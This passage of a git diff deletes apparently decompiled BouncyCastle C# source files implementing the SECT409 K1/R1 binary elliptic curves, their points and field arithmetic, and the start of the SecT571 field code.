0; - } - - public override BigInteger ToBigInteger() - { - return Nat448.ToBigInteger64(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - ulong[] z = Nat448.Create64(); - SecT409Field.Add(x, ((SecT409FieldElement)b).x, z); - return new SecT409FieldElement(z); - } - - public override ECFieldElement AddOne() - { - ulong[] z = Nat448.Create64(); - SecT409Field.AddOne(x, z); - return new SecT409FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - return Add(b); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - ulong[] z = Nat448.Create64(); - SecT409Field.Multiply(x, ((SecT409FieldElement)b).x, z); - return new SecT409FieldElement(z); - } - - public override ECFieldElement MultiplyMinusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - return MultiplyPlusProduct(b, x, y); - } - - public override ECFieldElement MultiplyPlusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] y2 = ((SecT409FieldElement)b).x; - ulong[] array2 = ((SecT409FieldElement)x).x; - ulong[] y3 = ((SecT409FieldElement)y).x; - ulong[] array3 = Nat.Create64(13); - SecT409Field.MultiplyAddToExt(array, y2, array3); - SecT409Field.MultiplyAddToExt(array2, y3, array3); - ulong[] z = Nat448.Create64(); - SecT409Field.Reduce(array3, z); - return new SecT409FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - return Multiply(b.Invert()); - } - - public override ECFieldElement Negate() - { - return this; - } - - public override ECFieldElement Square() - { - ulong[] z = Nat448.Create64(); - SecT409Field.Square(x, z); - return new SecT409FieldElement(z); - } - - public override ECFieldElement SquareMinusProduct(ECFieldElement x, ECFieldElement y) - { - return SquarePlusProduct(x, y); - } - - public override ECFieldElement SquarePlusProduct(ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] array2 = ((SecT409FieldElement)x).x; - ulong[] y2 = ((SecT409FieldElement)y).x; - ulong[] array3 = Nat.Create64(13); - SecT409Field.SquareAddToExt(array, array3); - SecT409Field.MultiplyAddToExt(array2, y2, array3); - ulong[] z = Nat448.Create64(); - SecT409Field.Reduce(array3, z); - return new SecT409FieldElement(z); - } - - public override ECFieldElement SquarePow(int pow) - { - if (pow < 1) - { - return this; - } - ulong[] z = Nat448.Create64(); - SecT409Field.SquareN(x, pow, z); - return new SecT409FieldElement(z); - } - - public override int Trace() - { - return (int)SecT409Field.Trace(x); - } - - public override ECFieldElement Invert() - { - ulong[] z = Nat448.Create64(); - SecT409Field.Invert(x, z); - return new SecT409FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - ulong[] z = Nat448.Create64(); - SecT409Field.Sqrt(x, z); - return new SecT409FieldElement(z); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecT409FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecT409FieldElement); - } - - public virtual bool Equals(SecT409FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat448.Eq64(x, other.x); - } - - public override int GetHashCode() - { - return 0x3E68E7 ^ Arrays.GetHashCode(x, 0, 7); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409K1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409K1Curve.cs deleted file mode 100644 index 2ef6cd3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409K1Curve.cs +++ /dev/null @@ -1,133 +0,0 @@ -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT409K1Curve : AbstractF2mCurve -{ - private class SecT409K1LookupTable : ECLookupTable - { - private readonly SecT409K1Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT409K1LookupTable(SecT409K1Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat448.Create64(); - ulong[] array2 = Nat448.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 7; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 7 + j] & num2); - } - num += 14; - } - return m_outer.CreateRawPoint(new SecT409FieldElement(array), new SecT409FieldElement(array2), withCompression: false); - } - } - - private const int SECT409K1_DEFAULT_COORDS = 6; - - private const int SECT409K1_FE_LONGS = 7; - - protected readonly SecT409K1Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 409; - - public override bool IsKoblitz => true; - - public virtual int M => 409; - - public virtual bool IsTrinomial => true; - - public virtual int K1 => 87; - - public virtual int K2 => 0; - - public virtual int K3 => 0; - - public SecT409K1Curve() - : base(409, 87, 0, 0) - { - m_infinity = new SecT409K1Point(this, null, null); - m_a = FromBigInteger(BigInteger.Zero); - m_b = FromBigInteger(BigInteger.One); - m_order = new BigInteger(1, Hex.Decode("7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE5F83B2D4EA20400EC4557D5ED3E3E7CA5B4B5C83B8E01E5FCF")); - m_cofactor = BigInteger.ValueOf(4L); - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT409K1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - protected override ECMultiplier CreateDefaultMultiplier() - { - return new WTauNafMultiplier(); - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT409FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT409K1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT409K1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 7 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat448.Copy64(((SecT409FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 7; - Nat448.Copy64(((SecT409FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 7; - } - return new SecT409K1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409K1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409K1Point.cs deleted file mode 100644 index 99deb77..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409K1Point.cs +++ /dev/null @@ -1,259 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT409K1Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT409K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT409K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT409K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT409K1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord); - if (eCFieldElement10.IsZero) - { - return new SecT409K1Point(curve, eCFieldElement10, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT409K1Point(curve, eCFieldElement10, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT409K1Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement eCFieldElement3 = ((!isOne) ? rawYCoord.Add(eCFieldElement).Multiply(rawYCoord) : rawYCoord.Square().Add(rawYCoord)); - if (eCFieldElement3.IsZero) - { - return new SecT409K1Point(curve, eCFieldElement3, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(eCFieldElement2)); - ECFieldElement eCFieldElement6 = rawYCoord.Add(rawXCoord).Square(); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement2.Square()); - ECFieldElement y = eCFieldElement6.Add(eCFieldElement3).Add(eCFieldElement2).Multiply(eCFieldElement6) - .Add(b) - .Add(eCFieldElement4) - .Add(eCFieldElement5); - return new SecT409K1Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement eCFieldElement3 = rawYCoord.Square(); - ECFieldElement eCFieldElement4 = eCFieldElement2.Square(); - ECFieldElement b2 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b3 = eCFieldElement3.Add(b2); - ECFieldElement eCFieldElement5 = rawYCoord2.AddOne(); - ECFieldElement eCFieldElement6 = eCFieldElement5.Multiply(eCFieldElement4).Add(eCFieldElement3).MultiplyPlusProduct(b3, x, eCFieldElement4); - ECFieldElement eCFieldElement7 = rawXCoord2.Multiply(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement7.Add(b3).Square(); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement6.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement6.IsZero) - { - return new SecT409K1Point(curve, eCFieldElement6, curve.B, base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement6.Square().Multiply(eCFieldElement7); - ECFieldElement eCFieldElement9 = eCFieldElement6.Multiply(eCFieldElement8).Multiply(eCFieldElement4); - ECFieldElement y = eCFieldElement6.Add(eCFieldElement8).Square().MultiplyPlusProduct(b3, eCFieldElement5, eCFieldElement9); - return new SecT409K1Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement9 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT409K1Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409R1Curve.cs deleted file mode 100644 index 8a64d48..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409R1Curve.cs +++ /dev/null @@ -1,127 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT409R1Curve : AbstractF2mCurve -{ - private class SecT409R1LookupTable : ECLookupTable - { - private readonly SecT409R1Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT409R1LookupTable(SecT409R1Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat448.Create64(); - ulong[] array2 = Nat448.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 7; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 7 + j] & num2); - } - num += 14; - } - return m_outer.CreateRawPoint(new SecT409FieldElement(array), new SecT409FieldElement(array2), withCompression: false); - } - } - - private const int SECT409R1_DEFAULT_COORDS = 6; - - private const int SECT409R1_FE_LONGS = 7; - - protected readonly SecT409R1Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 409; - - public override bool IsKoblitz => false; - - public virtual int M => 409; - - public virtual bool IsTrinomial => true; - - public virtual int K1 => 87; - - public virtual int K2 => 0; - - public virtual int K3 => 0; - - public SecT409R1Curve() - : base(409, 87, 0, 0) - { - m_infinity = new SecT409R1Point(this, null, null); - m_a = FromBigInteger(BigInteger.One); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("0021A5C2C8EE9FEB5C4B9A753B7B476B7FD6422EF1F3DD674761FA99D6AC27C8A9A197B272822F6CD57A55AA4F50AE317B13545F"))); - m_order = new BigInteger(1, Hex.Decode("010000000000000000000000000000000000000000000000000001E2AAD6A612F33307BE5FA47C3C9E052F838164CD37D9A21173")); - m_cofactor = BigInteger.Two; - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT409R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT409FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT409R1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT409R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 7 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat448.Copy64(((SecT409FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 7; - Nat448.Copy64(((SecT409FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 7; - } - return new SecT409R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409R1Point.cs deleted file mode 100644 index 64e1503..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT409R1Point.cs +++ /dev/null @@ -1,256 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT409R1Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT409R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT409R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT409R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT409R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord) - .AddOne(); - if (eCFieldElement10.IsZero) - { - return new SecT409R1Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT409R1Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT409R1Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? rawYCoord : rawYCoord.Multiply(eCFieldElement)); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement eCFieldElement3 = rawYCoord.Square().Add(eCFieldElement2).Add(b); - if (eCFieldElement3.IsZero) - { - return new SecT409R1Point(curve, eCFieldElement3, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(b)); - ECFieldElement eCFieldElement6 = (isOne ? rawXCoord : rawXCoord.Multiply(eCFieldElement)); - ECFieldElement y = eCFieldElement6.SquarePlusProduct(eCFieldElement3, eCFieldElement2).Add(eCFieldElement4).Add(eCFieldElement5); - return new SecT409R1Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement b2 = rawYCoord.Square(); - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement b3 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b4 = eCFieldElement3.Add(b2).Add(b3); - ECFieldElement eCFieldElement4 = rawYCoord2.Multiply(eCFieldElement3).Add(b2).MultiplyPlusProduct(b4, x, eCFieldElement3); - ECFieldElement eCFieldElement5 = rawXCoord2.Multiply(eCFieldElement3); - ECFieldElement eCFieldElement6 = eCFieldElement5.Add(b4).Square(); - if (eCFieldElement6.IsZero) - { - if (eCFieldElement4.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement4.IsZero) - { - return new SecT409R1Point(curve, eCFieldElement4, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement4.Square().Multiply(eCFieldElement5); - ECFieldElement eCFieldElement7 = eCFieldElement4.Multiply(eCFieldElement6).Multiply(eCFieldElement3); - ECFieldElement y = eCFieldElement4.Add(eCFieldElement6).Square().MultiplyPlusProduct(b4, rawYCoord2.AddOne(), eCFieldElement7); - return new SecT409R1Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement7 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT409R1Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571Field.cs deleted file mode 100644 index 193f601..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571Field.cs +++ /dev/null @@ -1,292 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT571Field -{ - private const ulong M59 = 576460752303423487uL; - - private const ulong RM = 17256631552825064414uL; - - private static readonly ulong[] ROOT_Z = new ulong[9] { 3161836309350906777uL, 10804290191530228771uL, 14625517132619890193uL, 7312758566309945096uL, 17890083061325672324uL, 8945041530681231562uL, 13695892802195391589uL, 6847946401097695794uL, 541669439031730457uL }; - - public static void Add(ulong[] x, ulong[] y, ulong[] z) - { - for (int i = 0; i < 9; i++) - { - z[i] = x[i] ^ y[i]; - } - } - - private static void Add(ulong[] x, int xOff, ulong[] y, int yOff, ulong[] z, int zOff) - { - for (int i = 0; i < 9; i++) - { - z[zOff + i] = x[xOff + i] ^ y[yOff + i]; - } - } - - private static void AddBothTo(ulong[] x, int xOff, ulong[] y, int yOff, ulong[] z, int zOff) - { - for (int i = 0; i < 9; i++) - { - ulong[] array2; - ulong[] array = (array2 = z); - int num = zOff + i; - nint num2 = num; - array[num] = array2[num2] ^ (x[xOff + i] ^ y[yOff + i]); - } - } - - public static void AddExt(ulong[] xx, ulong[] yy, ulong[] zz) - { - for (int i = 0; i < 18; i++) - { - zz[i] = xx[i] ^ yy[i]; - } - } - - public static void AddOne(ulong[] x, ulong[] z) - { - z[0] = x[0] 